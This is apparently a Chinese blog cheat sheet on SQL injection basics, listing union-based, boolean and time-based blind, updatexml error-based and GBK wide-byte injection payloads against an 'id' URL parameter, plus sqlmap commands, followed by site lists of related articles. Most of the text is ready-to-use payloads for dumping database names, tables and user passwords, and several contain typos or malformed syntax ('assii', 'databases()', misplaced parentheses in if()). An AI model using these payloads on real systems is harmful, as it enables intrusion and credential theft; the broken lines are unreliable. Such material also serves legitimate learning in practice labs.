sql注入基础知识

SQL注入:服务端将用户输入的数据当成SQL代码去执行
前期知识
information_schema数据库里面有tables表   表里字段TABLE_SCHEMA(存放所有数据库) 和TABLE_NAME(存放所有表)
column_name 数据库里面有 TABLE_SCHEMA  和TABLE_NAME(表)
select 1,table_name from information_schema.tables where table_schema == databases();
select 1,column_name from information_schema.columns where table_schema =databases() and table_name = 'flag';
有回显
联合注入

?id=1'order by 3 --+                  
?id=-1'union select 1,2,3--+
?id=-1'union select 1,database(),version()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
盲注步骤
布尔盲注

id=1' and length(database())=8--+   根据是否报错判断数据库的长度
id=1' and substr(database(),1,1)='s'--+    根据报错判断字符串第一个字符是否是s   这个只能用=去测试
id=1' and ascii(substr(database(),1,1))>100--+     一个一个测试太慢了,使用assii函数
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+  根据报错找字段长度
id=1' and assii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1--+  找字段   
时间盲注
id=1' and if(length(database()>1,0,sleep(3))) --+   判断数据库是否大于1,大于1就输出0,否则睡眠3秒
id=1' and if(assii(substr(database(),1,1)>1,0,sleep(3))) --+  
id=1' and if(assii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)0,sleep(3)) --+
报错注入
updatexml函数    updatexml(目标内容,XML文档路径,更新的内容
)
1.or updatexml(1,concat(0x7e,(select database()),0x7e),1)    XML文档路径的位置里写入子查询,我们输入特殊字符,然后就因为不符合输入规则然后就报错
先执行子查询   0x7e是16进制也就是~符号
2.or select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where tables_schema = databases() limit 0,1),0x7e),1)
3.or select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=databases() and table_name ='xx' limit 0,1),0x7e),1)
宽字节注入(编码必须为GBK)  
1.?id=-1%df%5c'order by 3 --+  
2.?id=-1%df%5c'union select 1,2,3--+
3.?id=-1%df%5c'union select 1,database(),2 --+
4.?id=-1%df%5c'union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1 --+
5.?id=-1%df%5c'union select 1,column_name from information_schema.columns where tables_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,2 --+
6.?id=-1%df%5c'union select 1,usename,password from users --+

绕WAF之内敛注释

sqlmap跑get请求
python sqlmap.py -u url --batch
跑post请求
python sqlmap.py -u url --form --batch


 

相关推荐

  1. sql注入基础知识

    2024-06-09 18:30:01       9 阅读
  2. sql注入知识总结

    2024-06-09 18:30:01       24 阅读
  3. SQL注入基础-4

    2024-06-09 18:30:01       14 阅读
  4. SQL注入基础-5

    2024-06-09 18:30:01       13 阅读
  5. SQL注入(数据库基础

    2024-06-09 18:30:01       16 阅读
  6. SQL注入篇--基础部分

    2024-06-09 18:30:01       23 阅读

最近更新

  1. Android12上实现双以太网卡共存同时访问外网

    2024-06-09 18:30:01       0 阅读
  2. c语言实战-极简扫雷

    2024-06-09 18:30:01       1 阅读
  3. 从零到一:构建股票预测模型的Python实战教程

    2024-06-09 18:30:01       1 阅读
  4. SpringBoot | 面试题

    2024-06-09 18:30:01       1 阅读
  5. Shell学习——Shell printf命令

    2024-06-09 18:30:01       1 阅读

热门阅读

  1. 代码随想录【字符串】

    2024-06-09 18:30:01       9 阅读
  2. Go 优雅处理goroutines错误

    2024-06-09 18:30:01       14 阅读
  3. 关于Redis的持久化

    2024-06-09 18:30:01       12 阅读
  4. 字符输出流

    2024-06-09 18:30:01       10 阅读
  5. [leetcode]longest-common-prefix 最长公共前缀

    2024-06-09 18:30:01       7 阅读
  6. tomcat 启动闪退问题解决方法

    2024-06-09 18:30:01       10 阅读
  7. SQL的入门基础教程

    2024-06-09 18:30:01       12 阅读
  8. 设计模式之策略模式

    2024-06-09 18:30:01       11 阅读
  9. 富格林:利用正规经验安全做单

    2024-06-09 18:30:01       10 阅读